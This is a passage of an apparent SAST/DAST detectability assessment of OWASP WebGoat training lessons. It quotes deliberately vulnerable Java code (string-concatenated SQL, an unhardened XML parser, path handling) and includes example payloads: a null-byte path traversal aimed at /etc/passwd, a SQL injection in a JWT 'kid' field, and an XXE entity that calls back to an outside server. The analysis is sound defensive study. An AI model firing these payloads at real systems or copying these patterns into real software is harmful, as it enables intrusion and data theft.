\"\");\n}\n\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java#L41-43\n\nvar uploadedFile = new File(uploadDirectory, fullName);\nuploadedFile.createNewFile();\nFileCopyUtils.copy(file.getBytes(), uploadedFile);\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted from the uploadFileHandler fullName parameter, which originates from the `MultipartFile.getOriginalFilename()` from `ProfileUploadRemoveUserInput.java`. \n\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it. \n\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved. Additionally, the only way to attempt to access uploaded files is through a completely unrelated web page. A DAST tool would not understand the relationship between the upload endpoint and the retrieval endpoint. \n\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath` which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, while it is possible to upload arbitrary files, it is not possible to access them, hence a DAST tool would be unable to identify this as a flaw. A human of course could use various techniques to attempt to overwrite system files, but a DAST tool is not built for such activities. \n\n---\n\n### (A1) Injection > Path traversal > Retrieving other files with a path traversal\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PathTraversal.lesson/4\n\n**Source:** \n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java\n - webgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadBase.java\n\n**Lesson:** \n\nThis lesson's goal is to retrieve a particular file from the file system. It uses a rather uncommon method of validating the entire query string via `request.getQueryString()` to see if it contains `..` or `/`. While technically the call to `new File` is vulnerable to path traversal attacks, it is not actually an exploitable arbitrary local file inclusion vulnerability. It can only return files which are jpg's, and null-byte attacks are not possible due to calls to FileCopyUtils which validates that the path does not contain null bytes.\n\n```\nwebgoat-lessons/path-traversal/src/main/java/org/owasp/webgoat/path_traversal/ProfileUploadRemoveUserInput.java#L75-94\n\npublic ResponseEntity\u003C?> getProfilePicture(HttpServletRequest request) {\n    var queryParams = request.getQueryString();\n    if (queryParams != null && (queryParams.contains(\"..\") || queryParams.contains(\"/\"))) {\n        return ResponseEntity.badRequest().body(\"Illegal characters are not allowed in the query params\");\n    }\n    try {\n        var id = request.getParameter(\"id\");\n        var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");\n\n        if (catPicture.getName().toLowerCase().contains(\"path-traversal-secret.jpg\")) {\n            return ResponseEntity.ok()\n                    .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE))\n                    .body(FileCopyUtils.copyToByteArray(catPicture));\n        }\n        if (catPicture.exists()) {\n            return ResponseEntity.ok()\n                    .contentType(MediaType.parseMediaType(MediaType.IMAGE_JPEG_VALUE))\n                    .location(new URI(\"/PathTraversal/random-picture?id=\" + catPicture.getName()))\n                    .body(Base64.getEncoder().encode(FileCopyUtils.copyToByteArray(catPicture)));\n        }\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify that the `new File` call's second parameter is tainted. However, the File object is only used in calls to either `getName()` or `FileCopyUtils` which validates that the filename does not contain null bytes. So while it's technically vulnerable, it is not exploitable for arbitrary file access.\n\n**DAST Reasoning:**\n\nDAST tools have difficulties identifying insecure file upload path traversal attacks. As the attack is a two-step process, the tool most likely will not be able to identify where the uploaded file ultimately resides on the file system. The first step is uploading the file, while the second is for identifying where the uploaded file exists and attempting to access it. \n\nIn this lesson there is no way to retrieve a non `.jpg` suffixed file. The `var catPicture = new File(catPicturesDirectory, (id == null ? RandomUtils.nextInt(1, 11) : id) + \".jpg\");` limits what can be retrieved. \n\nWhile it is possible to attempt null byte attacks if the string contains `path-traversal-secret.jpg` the `FileCopyUtils` method uses `java.io.File.toPath`, which disallows null bytes. For example attempting the attack: `/WebGoat/PathTraversal/random-picture?id=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd%00path-traversal-secret.jpg%00` will fail with the error: `java.nio.file.InvalidPathException: Nul character not allowed`.\n\nGiven the above, a DAST tool would most likely be unable to identify this as a flaw. Most DAST tools use hardcoded filepaths such as `/etc/passwd` or `c:/windows/win.ini` when attempting to access arbitrary files.\n\n---\n\n\u003C/details>\n\n## (A2) Broken Authentication\n\n---\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A2) Broken Authentication > Authentication Bypasses > 2FA Password Reset\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/AuthBypass.lesson/1\n\n**Source:** \n- webgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AuthBypass.java\n- webgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AccountVerificationHelper.java\n\n**Lesson:**\nThis lesson is for bypassing 2FA password reset by removing POST parameters.\n\n```\nwebgoat-lessons/auth-bypass/src/main/java/org/owasp/webgoat/auth_bypass/AccountVerificationHelper.java#L69-86\n\npublic boolean verifyAccount(Integer userId, HashMap\u003CString, String> submittedQuestions) {\n    //short circuit if no questions are submitted\n    if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {\n        return false;\n    }\n\n    if (submittedQuestions.containsKey(\"secQuestion0\") && !submittedQuestions.get(\"secQuestion0\").equals(secQuestionStore.get(verifyUserId).get(\"secQuestion0\"))) {\n        return false;\n    }\n\n    if (submittedQuestions.containsKey(\"secQuestion1\") && !submittedQuestions.get(\"secQuestion1\").equals(secQuestionStore.get(verifyUserId).get(\"secQuestion1\"))) {\n        return false;\n    }\n\n    // else\n    return true;\n\n}\n\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis lesson is a hypothetical case where it 'fails open.' In other words by not submitting the validated parameters, the checks are never executed and the verifyAccount method returns true.\n\nSAST tools can not determine 'reasoning' of a methods purpose. This method is not wired into any obvious framework or method that would hint for the SAST tool to know it's for authentication purposes.\n\n**DAST Reasoning:**\n\nMuch like above, this is a hypothetical case. There is no context around the lesson that could assist a DAST tool in knowing it's testing a password reset function. \n\n---\n\n### (A2) Broken Authentication > JWT tokens > JWT signing\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/3\n\n**Source:** \n- webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java\n\n**Lesson:**\nThis lesson is for modifying JWT claims to impersonate or elevate privileges. It is a multi-step process. First to get a JWT value you need to use the fake 'login' `/JWT/votings/login?user=` endpoint, which sets it in an HTTP cookie. Next, the goal is to bypass authorization checks and reset the votes by issuing a POST request to the `/JWT/votings` with a modified token. The modifications require setting the alg to None and changing the admin parameter to true. \n\n```\nwebgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTVotesEndpoint.java#L163-165\n\nJwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(accessToken);\nClaims claims = (Claims) jwt.getBody();\nboolean isAdmin = Boolean.valueOf((String) claims.get(\"admin\"));\n```\n\n**Can SAST Find?** \n- Probable\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nA SAST tool would need to be used in conjunction with a dependency scanning solution that looked for vulnerable libraries. This vulnerability exists due to the dependency on `io.jsonwebtoken` version 0.7.0. Using static analysis alone would be difficult for a SAST tool to identify that the `setSigningKey` would be ignored if the algorithm was set to `None`. Additionally, authorization issues are usually difficult for SAST to identify in terms of simple conditional statements.  \n\n**DAST Reasoning:**\n\nVulnerabilities that require multiple steps are usually difficult for DAST tools to identify. If the JWT was used in an authentication endpoint, it may be possible for a DAST tool to identify a vulnerability. It would attempt to modify the JWT and determine if it was able to successfully login. A DAST tool would be unable to determine that the secondary `/JWT/votings` endpoint suffers from verification flaw.\n\n---\n\n### (A2) Broken Authentication > JWT tokens > JWT cracking\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/4\n\n**Source:** \n- webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java\n\n**Lesson:**\nThis lesson is for cracking a JWT value which uses an insecure cryptographic algorithm. `HS256` JWT values include a signature which can generated and compared by brute forcing tools. \n\n```\nwebgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTSecretKeyEndpoint.java#L57-68\n\npublic String getSecretToken() {\n    return Jwts.builder()\n            .setIssuer(\"WebGoat Token Builder\")\n            .setAudience(\"webgoat.org\")\n            .setIssuedAt(Calendar.getInstance().getTime())\n            .setExpiration(Date.from(Instant.now().plusSeconds(60)))\n            .setSubject(\"tom@webgoat.org\")\n            .claim(\"username\", \"Tom\")\n            .claim(\"Email\", \"tom@webgoat.org\")\n            .claim(\"Role\", new String[]{\"Manager\", \"Project Administrator\"})\n            .signWith(SignatureAlgorithm.HS256, JWT_SECRET).compact();\n    }\n\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nA SAST tool that included this particular `Jwts` library signatures would be able to identify that the `signWith` method is a potential sink and the first parameter determines if a vulnerability exists, depending on the argument's value.\n\n**DAST Reasoning:**\n\nA DAST tool with builtin JWT cracking functionality would be able to extract JWT values encountered during crawling and attempt to brute force the signature. Note the ability to actually determine vulnerability would be dependent on the weakness of the JWT key used for signing.\n\n---\n\n### (A2) Broken Authentication > JWT tokens > Refreshing a token (incomplete lesson)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/6\n\n**Source:** \n- webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTRefreshEndpoint.java\n\n**Lesson:**\n\nThis lesson as of v8.1.0 is still incomplete, as the lesson page details do not give enough information to solve. Only by looking at the source and getting the username/password can one solve this challenge. The underlying flaw is that the application does not properly associate refresh tokens with access tokens, allowing one who has captured a leaked refresh token to update someone else's access token.\n\n```\nwebgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTRefreshEndpoint.java#L116-122\n\ntry {\n    Jwt\u003CHeader, Claims> jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace(\"Bearer \", \"\"));\n    user = (String) jwt.getBody().get(\"user\");\n    refreshToken = (String) json.get(\"refresh_token\");\n} catch (ExpiredJwtException e) {\n    user = (String) e.getClaims().get(\"user\");\n    refreshToken = (String) json.get(\"refresh_token\");\n}\n...\n```\n\n**Can SAST Find?** \n- Improbable\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nA SAST tool would not be able to reason the logic behind requiring the access token and refresh token to be linked unless this logic was built into the JWT library. It could be possible with a very strictly defined set of a rule sets to find this flaw, but it is highly improbable. \n\n**DAST Reasoning:**\n\nA DAST tool could be configured to contain two user accounts and authorize to get both tokens. It could then attempt to switch one user's refresh token with the secondary user and determine if the server responded with a new access token. \n\n---\n\n### (A2) Broken Authentication > JWT tokens > Final challenges\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/JWT.lesson/7\n\n**Source:** \n- webgoat-lessons/jwt/src/main/java/org/owasp/webgoat/jwt/JWTFinalEndpoint.java\n\n**Lesson:**\nThis lesson is a highly improbable series of events that could lead to overwriting a signing key stored in a database. The underlying vulnerability here is actually SQL injection that is exploitable by modifying the `kid` JWT field. \n\n```\nL162-176\nJwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {\n    @Override\n    public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {\n        final String kid = (String) header.get(\"kid\");\n        try (var connection = dataSource.getConnection()) {\n            ResultSet rs = connection.createStatement().executeQuery(\"SELECT key FROM jwt_keys WHERE id = '\" + kid + \"'\");\n            while (rs.next()) {\n                return TextCodec.BASE64.decode(rs.getString(1));\n            }\n        } catch (SQLException e) {\n            errorMessage[0] = e.getMessage();\n        }\n        return null;\n    }\n}).parseClaimsJws(token);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nA SAST tool would flag this particular issue as a SQL injection flaw. SAST tools with taint tracking capabilities, or one that has added signatures for sources and sinks of this JWT library, could follow that the token was decoded and the `kid` came from user input. It would then identify on line 167 user supplied input was used in generation of a dynamically generated SQL query. SAST tools which take a more grep like approach, would most likely flag line 167 as the vulnerability since string concatenation used in a SQL query.\n\n**DAST Reasoning:**\n\nA DAST tool could be configured to decode JWT claims and attempt SQL injection in the various fields.\n\n**Example Attack:**\n- Decode JWT\n- Modify the JWT header\n```\n{\n  \"typ\": \"JWT\",\n  \"kid\": \"'+(select repeat('a',50000000) from INFORMATION_SCHEMA.tables)+'\",\n  \"alg\": \"HS256\"\n}\n```\n- Re-encode the token\n- Send request during a timing attack verification phase.\n\n---\n\n### (A2) Broken Authentication > Password reset > Security questions\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PasswordReset.lesson/3\n\n**Source:** \n- webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/QuestionsAssignment.java\n\n**Lesson:**\n\nThis lesson is to demonstrate the ability of guessing or brute forcing security questions. The users and security questions are hardcoded. The goal is to guess one of them.\n\n```\nwebgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/QuestionsAssignment.java#L45-51\n\nstatic {\n    COLORS.put(\"admin\", \"green\");\n    COLORS.put(\"jerry\", \"orange\");\n    ...\n}\n\nwebgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/QuestionsAssignment.java#L63-68\n\nString validAnswer = COLORS.get(username.toLowerCase());\nif (validAnswer == null) {\n    return failed(this).feedback(\"password-questions-unknown-user\").feedbackArgs(username).build();\n} else if (validAnswer.equals(securityQuestion)) {\n    return success(this).build();\n}\n```\n\n**Can SAST Find?**\n- Impossible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool would be unable to determine that this lesson has any relation to login logic as it's doing a simple existence check of inputs against a map value.\n\n**DAST Reasoning:**\n\nA DAST tool would need to be configured to treat this form as a login form for it to detect any potential discrepancy between a valid and invalid security question answer.\n\n---\n\n### (A2) Broken Authentication > Password reset > Creating the password reset link\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/PasswordReset.lesson/5\n\n**Source:** \n- webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java\n- webgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignment.java\n\n**Lesson:**\n\nThis lesson is to demonstrate incorrect usage of user supplied data (taken from the host header) in constructing a link. The goal is to abuse this to get a hypothetical user to click on a password reset link that points to the wrong host.\n\n```\nwebgoat-lessons/password-reset/src/main/java/org/owasp/webgoat/password_reset/ResetLinkAssignmentForgotPassword.java#L60-74\n\nString resetLink = UUID.randomUUID().toString();\nResetLinkAssignment.resetLinks.add(resetLink);\nString host = request.getHeader(\"host\");\nif (hasText(email)) {\n    if (email.equals(ResetLinkAssignment.TOM_EMAIL) && (host.contains(\"9090\")||host.contains(\"webwolf\"))) { //User indeed changed the host header.\n        ResetLinkAssignment.userToTomResetLink.put(getWebSession().getUserName(), resetLink);\n        fakeClickingLinkEmail(host, resetLink);\n    } else {\n        try {\n            sendMailToUser(email, host, resetLink);\n        } catch (Exception e) {\n            return failed(this).output(\"E-mail can't be send. please try again.\").build();\n        }\n    }\n}\n```\n\n**Can SAST Find?** \n- Improbable\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis is a hypothetical issue that most likely would not occur in the wild. There is no real way of a SAST tool to know that the extracted host header was incorrectly used in constructing a link.\n\n**DAST Reasoning:**\n\nA DAST tool would first need to be configured to treat this form as a login or password reset form. It would then also need to know that the conditions for getting a response required the host header to contain port 9090 or the string `webwolf`. This is a highly improbable set of conditions a DAST tool (or even a human without source) would need to know to have the flaw triggered. Additionally, this flaw requires a form of user interaction (although it's faked on line 66) which a DAST tool would not be able to do.\n\n---\n\u003C/details>\n\n## (A3) > Sensitive Data Exposure\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n---\n\n### (A3) > Sensitive Data Exposure > Insecure Login > Let's try\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/InsecureLogin.lesson/1\n\n**Source:** \n- webgoat-lessons/insecure-login/src/main/java/org/owasp/webgoat/insecure_login/InsecureLoginTask.java\n\n**Lesson:**\n\nThis lesson is to demonstrate sending credentials over plain text communications. It does not contain any real flaws.\n\n```\nwebgoat-lessons/insecure-login/src/main/java/org/owasp/webgoat/insecure_login/InsecureLoginTask.java#L35-37\n\nif (username.toString().equals(\"CaptainJack\") && password.toString().equals(\"BlackPearl\")) {\n    return success(this).build();\n}\n```\n\n**Can SAST Find?** \n- Possible (different issue)\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe source is only doing a simple equality test between user input and two constant values. There is a chance, depending on the SAST tool, that it would flag the password equality check as a hardcoded password. \n\n**DAST Reasoning:**\n\nIf this page were configured as a login page and it were accessed over HTTP, there is a chance a DAST tool would report this as credentials being sent over a plain text transport.\n\n---\n\u003C/details>\n\n## (A4) XML External Entities (XXE)\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A4) XML External Entities (XXE) > XXE > Let’s try\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/3\n\n**Source:** \n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/SimpleXXE.java\n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\n\nClass: Injection\n\n**Lesson:**\n\nThis lesson's goal is to exploit an XXE parser to have it return the contents of the OS root path. The target XML parser `JAXB` will decode the `SYSTEM` entity and return the contents of the specified entity.\n\n```\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java#L87-94\n\nprotected Comment parseXml(String xml) throws JAXBException, XMLStreamException {\n    var jc = JAXBContext.newInstance(Comment.class);\n    var xif = XMLInputFactory.newInstance();\n    var xsr = xif.createXMLStreamReader(new StringReader(xml));\n\n    var unmarshaller = jc.createUnmarshaller();\n    return (Comment) unmarshaller.unmarshal(xsr);\n}\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nSAST tools should have signatures for common XML parsers like `JAXB` and determine if they do or do not disable entity and DTD resolution prior to processing user input.\n\n**DAST Reasoning:**\n\nMost DAST tools should be able to find this issue even though the attack request's response does not immediately contain the result. A DAST tool should be configured to handle callback related attacks and attempt to force the XML parser to use a URL instead of reading a system file. If the parser is vulnerable, and no egress filtering is in place, the parser will end up initiating a request to the specified URL.\n\n**Example Attack:**\n- `\u003C?xml version=\"1.0\"?>\u003C!DOCTYPE text [\u003C!ENTITY xxe SYSTEM \"http://callbackserver:9090/test\">]>\u003Ccomment>\u003Ctext>&xxe;\u003C/text>\u003C/comment>`\n\n---\n\n### (A4) XML External Entities (XXE) > XXE > Modern REST framework\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/6\n\n**Source:** \n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java\n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\n\n**Lesson:**\n\nThis lesson's goal is to exploit an XXE parser to have it return the contents of the OS root path, much like `http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/3`. The only difference is the `/WebGoat/xxe/content-type` endpoint accepts both JSON and XML. This is more of a hypothetical situation due to unrealistic conditional statements used to only allow valid responses if they are met. The same underlying `parseXml` is called for both of these lessons.\n\n```\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/ContentTypeAssignment.java#L56-64\n\nif (APPLICATION_JSON_VALUE.equals(contentType)) {\n            comments.parseJson(commentStr).ifPresent(c -> comments.addComment(c, true));\n            attackResult = failed(this).feedback(\"xxe.content.type.feedback.json\").build();\n        }\n\n        if (null != contentType && contentType.contains(MediaType.APPLICATION_XML_VALUE)) {\n            String error = \"\";\n            try {\n                Comment comment = comments.parseXml(commentStr);\n...\n\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java#L87-94\n\nprotected Comment parseXml(String xml) throws JAXBException, XMLStreamException {\n    var jc = JAXBContext.newInstance(Comment.class);\n    var xif = XMLInputFactory.newInstance();\n    var xsr = xif.createXMLStreamReader(new StringReader(xml));\n\n    var unmarshaller = jc.createUnmarshaller();\n    return (Comment) unmarshaller.unmarshal(xsr);\n}\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool will most likely disregard the conditional checks necessary to call the `comments.parseXml` on line 64 of `ContentTypeAssignment`. It should determine that the input string is parsed by an XML parser in `Comments.java` that did not disable entity or DTD resolution.\n\n**DAST Reasoning:**\n\nMost DAST tools will attempt to inject into parameter names and values, not transform the entire method from one to the other. The conditional checks in `ContentTypeAssignment` lines 56 and 61 are not realistic and would most likely block legitimate attack cases.\n\n---\n\n### (A4) XML External Entities (XXE) > XXE > Blind XXE assignment\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/XXE.lesson/10\n\n**Source:** \n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/BlindSendFileAssignment.java\n- webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java\n\n**Lesson:**\n\nThis lesson's goal is to exploit an XXE parser to have it post the contents of a file to a callback server. The same underlying `parseXml` is called for this lesson as well.\n\n```\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/BlindSendFileAssignment.java#L56-64\n\n public AttackResult addComment(@RequestBody String commentStr) {\n        //Solution is posted as a separate comment\n        if (commentStr.contains(CONTENTS)) {\n            return success(this).build();\n        }\n\n        try {\n            Comment comment = comments.parseXml(commentStr);\n            comments.addComment(comment, false);\n        } catch (Exception e) {\n            return failed(this).output(e.toString()).build();\n        }\n        return failed(this).build();\n    }\n...\n\nwebgoat-lessons/xxe/src/main/java/org/owasp/webgoat/xxe/Comments.java#L87-94\n\nprotected Comment parseXml(String xml) throws JAXBException, XMLStreamException {\n    var jc = JAXBContext.newInstance(Comment.class);\n    var xif = XMLInputFactory.newInstance();\n    var xsr = xif.createXMLStreamReader(new StringReader(xml));\n\n    var unmarshaller = jc.createUnmarshaller();\n    return (Comment) unmarshaller.unmarshal(xsr);\n}\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThis flaw is the same as `(A4) XML External Entities (XXE) > XXE > Let’s try`\n\n**DAST Reasoning:**\n\nThis flaw is the same as `(A4) XML External Entities (XXE) > XXE > Let’s try`\n\n---\n\n\u003C/details>\n\n## (A5) Broken Access Control\n\n--- \n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A5) Broken Access Control > Insecure Direct Object References > Authenticate First, Abuse Authorization Later\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/1\n\n**Source:** \n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORLogin.java\n\n**Lesson:**\n\nThis lesson is for assigning the current session to a user profile for subsequent lessons – it is not supposed to contain any vulnerabilities.\n\n```\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORLogin.java#L59-74\n\npublic AttackResult completed(@RequestParam String username, @RequestParam String password) {\n        initIDORInfo();\n        UserSessionData userSessionData = getUserSessionData();\n\n        if (idorUserInfo.containsKey(username)) {\n            if (\"tom\".equals(username) && idorUserInfo.get(\"tom\").get(\"password\").equals(password)) {\n                userSessionData.setValue(\"idor-authenticated-as\", username);\n                userSessionData.setValue(\"idor-authenticated-user-id\", idorUserInfo.get(username).get(\"id\"));\n                return success(this).feedback(\"idor.login.success\").feedbackArgs(username).build();\n            } else {\n                return failed(this).feedback(\"idor.login.failure\").build();\n            }\n        } else {\n            return failed(this).feedback(\"idor.login.failure\").build();\n        }\n    }\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find as it's only adding server side session data.\n\n**DAST Reasoning:**\n\nThere is nothing to find as it's only adding server side session data.\n\n---\n\n### (A5) Broken Access Control > Insecure Direct Object References > Observing Differences & Behaviors\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/2\n\n**Source:** \n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORDiffAttributes.java\n\n**Lesson:**\n\nThis lesson demonstrates hidden authorization properties and does not contain any real flaws.\n\n```\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORDiffAttributes.java#L36-48\n\npublic AttackResult completed(@RequestParam String attributes) {\n    attributes = attributes.trim();\n    String[] diffAttribs = attributes.split(\",\");\n    if (diffAttribs.length \u003C 2) {\n        return failed(this).feedback(\"idor.diff.attributes.missing\").build();\n    }\n    if (diffAttribs[0].toLowerCase().trim().equals(\"userid\") && diffAttribs[1].toLowerCase().trim().equals(\"role\")\n            || diffAttribs[1].toLowerCase().trim().equals(\"userid\") && diffAttribs[0].toLowerCase().trim().equals(\"role\")) {\n        return success(this).feedback(\"idor.diff.success\").build();\n    } else {\n        return failed(this).feedback(\"idor.diff.failure\").build();\n    }\n}\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n**DAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n---\n\n### (A5) Broken Access Control > Insecure Direct Object References > Guessing & Predicting Patterns\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/3\n\n**Source:** \n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOwnProfileAltUrl.java\n\n**Lesson:**\n\nThis lesson demonstrates accessing your own profile by using a direct object reference (userid). This lesson requires that you are already logged in via the hypothetical login endpoint `/WebGoat/IDOR/login`.\n\n```\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOwnProfileAltUrl.java#L42-62\n\npublic AttackResult completed(@RequestParam String url) {\n        try {\n            if (userSessionData.getValue(\"idor-authenticated-as\").equals(\"tom\")) {\n                //going to use session auth to view this one\n                String authUserId = (String) userSessionData.getValue(\"idor-authenticated-user-id\");\n                //don't care about http://localhost:8080 ... just want WebGoat/\n                String[] urlParts = url.split(\"/\");\n                if (urlParts[0].equals(\"WebGoat\") && urlParts[1].equals(\"IDOR\") && urlParts[2].equals(\"profile\") && urlParts[3].equals(authUserId)) {\n                    UserProfile userProfile = new UserProfile(authUserId);\n                    return success(this).feedback(\"idor.view.own.profile.success\").output(userProfile.profileToMap().toString()).build();\n                } else {\n                    return failed(this).feedback(\"idor.view.own.profile.failure1\").build();\n                }\n\n            } else {\n                return failed(this).feedback(\"idor.view.own.profile.failure2\").build();\n            }\n        } catch (Exception ex) {\n            return failed(this).feedback(\"an error occurred with your request\").build();\n        }\n    }\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n**DAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values. Additionally, the DAST tool would need to be configured to treat the `/WebGoat/IDOR/login` page as a login form to be able to successfully set the additional server side session data. However, a DAST tool must already be configured to login to the `/WebGoat/` end point and most DAST tools don't support logging in multiple times to different endpoints for the same scan.\n\n---\n\n### (A5) Broken Access Control > Insecure Direct Object References > Playing with the Patterns\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/IDOR.lesson/4\n\n**Source:** \n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOtherProfile.java\n- webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDOREditOtherProfiile.java\n\n**Lesson:**\n\nThis lesson demonstrates accessing a mock users profile by using a direct object reference (userid). This lesson requires that you are already logged in via the hypothetical login endpoint `/WebGoat/IDOR/login`. \n\n```\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOtherProfile.java#L48-67\n\npublic AttackResult completed(@PathVariable(\"userId\") String userId, HttpServletResponse resp) {\n        Map\u003CString, Object> details = new HashMap\u003C>();\n\n        if (userSessionData.getValue(\"idor-authenticated-as\").equals(\"tom\")) {\n            //going to use session auth to view this one\n            String authUserId = (String) userSessionData.getValue(\"idor-authenticated-user-id\");\n            if (userId != null && !userId.equals(authUserId)) {\n                //on the right track\n                UserProfile requestedProfile = new UserProfile(userId);\n                // secure code would ensure there was a 